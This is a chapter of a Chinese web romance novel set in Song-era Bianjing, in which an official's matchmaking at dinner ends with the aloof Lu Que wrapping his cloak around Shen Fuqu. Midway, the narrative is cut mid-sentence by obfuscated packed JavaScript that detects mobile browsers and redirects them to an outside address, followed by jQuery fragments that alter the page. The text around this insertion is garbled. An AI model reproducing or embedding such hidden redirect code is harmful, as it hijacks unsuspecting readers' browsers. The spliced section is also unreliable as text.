48. 第四十八章

作品:《全汴京在等我的外卖

    沈芙蕖也觉得这顿饭吃得颇为艰难。


    一来,桌上的菜肴虽算丰盛,却实在不合她的口味。二来,对面还坐着陆却这么一尊冷面煞神,无形中便压得人食欲全无。她只好偏过头去,与周寺正有一搭没一搭地闲话。


    “说起乞巧节那日……我曾冒昧去法官巷寻过大人。是我当时思虑不周,未曾提前知会,没给大人和尊夫人添什么麻烦吧?”


    “没那回事!”周寺正呷了一口黄酒,絮絮叨叨地打开话匣子:“说起来,叫沈娘子见笑。我与贱内成婚十五载,平时没少拌嘴吵架。为些鸡毛蒜皮,她怪我总在衙里忙到太晚,冷落了她。我嫌她替我裁的衣裳颜色太鲜亮,穿不出去……没少置气。”


    他说着,自己先笑了起来,眼角的皱纹都舒展开:“可这日子过久了就明白,夫妻之间,哪有舌头不碰牙的?关键在于彼此心里都装着对方,知晓对方的性子,也知晓对方那份心意。所以啊,甭管吵得多凶,最后总能寻着个台阶,和好如初。这日子,不就是这么吵吵闹闹,互相惦念着过来的嘛?”


    周寺正絮絮叨叨地说着与妻子的往事时,陆却的目光便不由自主地落向了对面的沈芙蕖。


    灯下看人,本就添几分柔和。


    暖黄色的灯光温柔地覆在她的侧脸上,光线细细描摹着她睫毛的轮廓,顺着鼻梁柔和的弧度滑下,她双颊泛着薄薄的绯色,有淡淡笑意,清清浅浅地漾开,看得人心里也跟着静了下来。


    也就看了几眼,陆却迅速收回目光,垂下眼帘,改盯着杯中酒液。


    沈芙蕖安静地听着,心中渐渐明了。周寺正并不是在单纯回忆夫妻趣事,而是在借题发挥,暗指她与陆却之间那点不愉快,盼着他们也能寻个台阶,缓和一下关系。


    她心下不由失笑,觉得周寺正怕是白费心思了。


    她与陆却,算什么呢?权贵和平民?债主与债户?甚至勉强算是熟人?无论哪一种,似乎都远未到需要修补关系的地步。


    更何况,陆却此人,心思深沉难测,性情冷肃,实在难以接近。她并无意去揣摩,也更无意愿去靠近。


    周寺正见她不语,语气变得更加推心置腹:“说起来,沈娘子年纪也不小了,这般独自支撑,终究辛苦。可有考虑过……寻个良人,彼此有个依靠,知冷知热?”


    沈芙蕖闻言,立刻将这股催婚的压力引向了对面一直沉默不语的陆却。


    她只对周寺正道:“周大人说笑了。若论年纪,陆大人似乎更长于我?您更该劝劝陆大人赶紧寻位贤妻才是正理。上回在府上见到的那位崔家娘子,品貌家世皆是上乘,与陆大人正是天造地设的一对。”


    “至于我嘛……倒真没想过那么多。若真要寻,大约也得找个性子开朗些的,有趣些的,能说说笑笑,日子才不闷。最好别太死板,也别整日沉着脸,让人瞧着就心里发怵,话都不敢多说半句。”


    她这番话,本是无心,只是顺着周寺正的话头,委婉表达自己对陆却这类男子敬而远之,谁知描绘了一个与陆却截然相反的理想形象。


    然而,听在陆却耳中,却字字句句都像是精准的对照。开朗、有趣、说说笑笑、别太死板、别沉着脸……这些特质,让他立刻就想到了总是笑得没心没肺,行事又跳脱不羁的赵清晏。


    赵清晏不是比她年纪还小些?整日里没个正形,嬉笑怒骂皆随性而至,不曾有过半分沉稳持重,这种跳脱浮躁的性子,原来能入她的眼。


    此话一出,陆却周身的气压无声无息地又低了几度。


    他拿起筷子,看似要夹面前那碟羊肉,可筷子尖在盘沿磕碰了几下,颤巍巍怎么也使不上力,连夹了几回,不是滑脱就是偏了方向,一块肉也没捞起来。


    他忽然失了耐心,将筷子搁在桌上,岂料没控制好力度,发出“啪”的一声脆响,筷子滚落到了地上,周寺正被这突如其来的动静吓得一哆嗦。


    “抱歉,手滑了。”陆却说,“……你们继续。”


    周寺正回过神来,干笑几声,试图重新接上之前的话题:“哈哈哈……无妨无妨!说起来,沈娘子这般爽利活泼,将来若寻良配,反倒该找个沉静稳妥的,正好互补,才是圆满呐!”


    沈芙蕖说:“世间沉静稳妥的郎君,多半出身清贵,家中规矩繁多的。我高攀不起,也不敢妄想。还是寻个寻常人家,过着简单日子,更自在些。”


    陆却心想,赵清晏倒是开朗有趣,可东宫的规矩难道还少了吗?每日起居言行,哪一样不是被无数双眼睛盯着,被无数条宫规框着,还谈什么简单日子?简直是痴心妄想。


    不过,他脑中又闪过自己母亲的面容,府中同样无处不在的条条框框,忽然对自己所处环境感到厌烦。


    他下意识地抬眼,不满地瞧了一眼还在讪笑的周寺正。若不是这人非要提什么互补良配,自己怎么会越想越憋闷。


    周寺正眼看自己一番美意非但没起到缓和作用,反而让气氛更加诡异冰冷,简直欲哭无泪。


    他赶紧打了个哈哈,举起酒杯:“哎呀,你看我,尽说些没要紧的!喝酒,喝酒!这羊肉凉了就不好吃了!”


    沈芙蕖也感觉到对面那股莫名的低气压,虽不明所以,但也知此地不宜久留。她顺势起身:“多谢陆大人、周大人盛情款待,时辰不早,我不便再多打扰,就此告辞了。”


    周寺正连忙也跟着起身,口中说着“喝杯热茶再走也不迟”之类挽留的话,眼睛却不住地瞟向陆却。


    见陆却仍兀自坐着,面无表情,周寺正真是恨不得上去推他一把。


    情急之下,他突然提高声音道:“哎呀!这外头天寒地冻的,沈娘子穿得如此单薄,怕是刚出门就要冻坏了!”


    沈芙蕖推开门,果然寒风裹着大雪朝她扑面而来,忍不住打了一个喷嚏。


    “不碍事,我走走就暖和了。再不成,周大人借我个汤婆子用用。”沈芙蕖并不在意这点严寒,笑着揉了揉鼻子。


    周寺正有意拖延时间,说道:“有有有!汤婆子自然是有的!只是我平日也不大用,不知收在哪个箱笼里了。沈娘子且稍等片刻,我这就去值房里好好找一找!”


    “不方便就算了,我倒也不是很冷。”沈芙蕖应道。


    “那怎么成!”周寺正连忙摆手,语气不容拒绝,“这天气,在外头稍站片刻都要冻透的!你们姑娘家身子更单薄,更禁不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16370852|179799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住寒,你且等着,我很快就来!”


    沈芙蕖见他坚持,也不再推辞,索性倚门而立。


    白天刚化的雪水此刻又凝固成了冰锥,她用手轻轻一推,冰锥便砸落在地上,她觉得有趣,便漫不经心地玩了起来,借此消磨等待的时光。


    突然,陆却走到沈芙蕖面前,胳膊上还搭着那件厚实暖和的毛领斗篷。


    下一刻,带着他体温的斗篷,便不由分说地披在了沈芙蕖的肩上。


    沈芙蕖彻底愣住了,第一反应便是抗拒。这料子一看就价值不菲,弄脏了怎么办?洗一次得多麻烦?还得找机会送回来归还,岂不是又要见面?太麻烦了!


    然而陆却根本不容她拒绝,他找到斗篷前襟的系带,微微俯身,近乎是环抱着她的姿态,仔细地为她系上带子,他的动作有些生硬,还带着点不容置疑的霸道。


    斗篷用料很足,确实很暖,好像瞬间就将寒风隔绝在外,这突如其来的温暖,让沈芙蕖再也说不出拒绝的话。


    她僵硬站在原地,乖乖等着带子系好,而陆却冰凉的手指指尖,不经意地擦过了她颈侧温热的肌肤。


    那一瞬间,两人都如同被细微的电流击中般,同时僵了一下。


    沈芙蕖能清晰地感受到他指尖冰冷的温度,以及那略带粗糙的触感。而陆却,则触碰到了那细腻得不可思议的触感。


    空气仿佛凝固了。


    “还没……好嘛……”陆却比她高出一个头来,沈芙蕖也不敢抬头,视线所及仅是他胸前的衣襟,看不到他的表情。


    陆却低沉的声音从她上方传来:“马上好了……斗篷有些大了,我系紧一点,免得进风。”


    陆却的斗篷是很好闻的,想必这些衣裳每日都有名贵香料熏染,散发着雨后沉沉的木头香气,清冽而特别,令人安心。


    沈芙蕖张了张嘴,最终却什么也没说出来,只好低低道了声:“……多谢大人。”


    周寺正抱着一只铜汤婆子匆匆赶回,才跨进廊下,便猛地收住了脚步。


    只见漫天飞雪之中,陆却正微微倾身,仔细地为沈芙蕖系着斗篷的系带。他身形挺拔,将沈芙蕖的身影几乎全然笼在自己的影子里。


    而那件他平日极为爱惜的厚斗篷,此刻正严严实实地裹在沈芙蕖身上,沈芙蕖微垂着头,姿态是罕见的安静与乖顺。


    周寺正一时看得怔住,旋即心下又是欣慰又是好笑。


    他这位上峰,断案如神,心思缜密,可谓多智近妖。偏偏在这男女情事上,却像是被堵住了窍,懵懂得可怜。


    明明待这沈娘子与众不同,关切之心溢于言表,自己却浑然未觉,只怕还以为是出于公义或怜悯。


    今天沈芙蕖那般干脆地连本带利还清了钱款,想斩断牵扯,两不相欠。日后若再无债务往来,依这两人一个冷情、一个避嫌的性子,还能有什么交集?


    幸好这榆木疙瘩还不算笨到了底,至少还晓得天冷了要给人家姑娘披件衣裳。


    他于是故意在廊下踩出些声响,清了清嗓子,这才抱着那其实并没多大用处的汤婆子,笑呵呵地走上前去:“哎哟!看来是我多此一举了!还是陆大人想得周到!”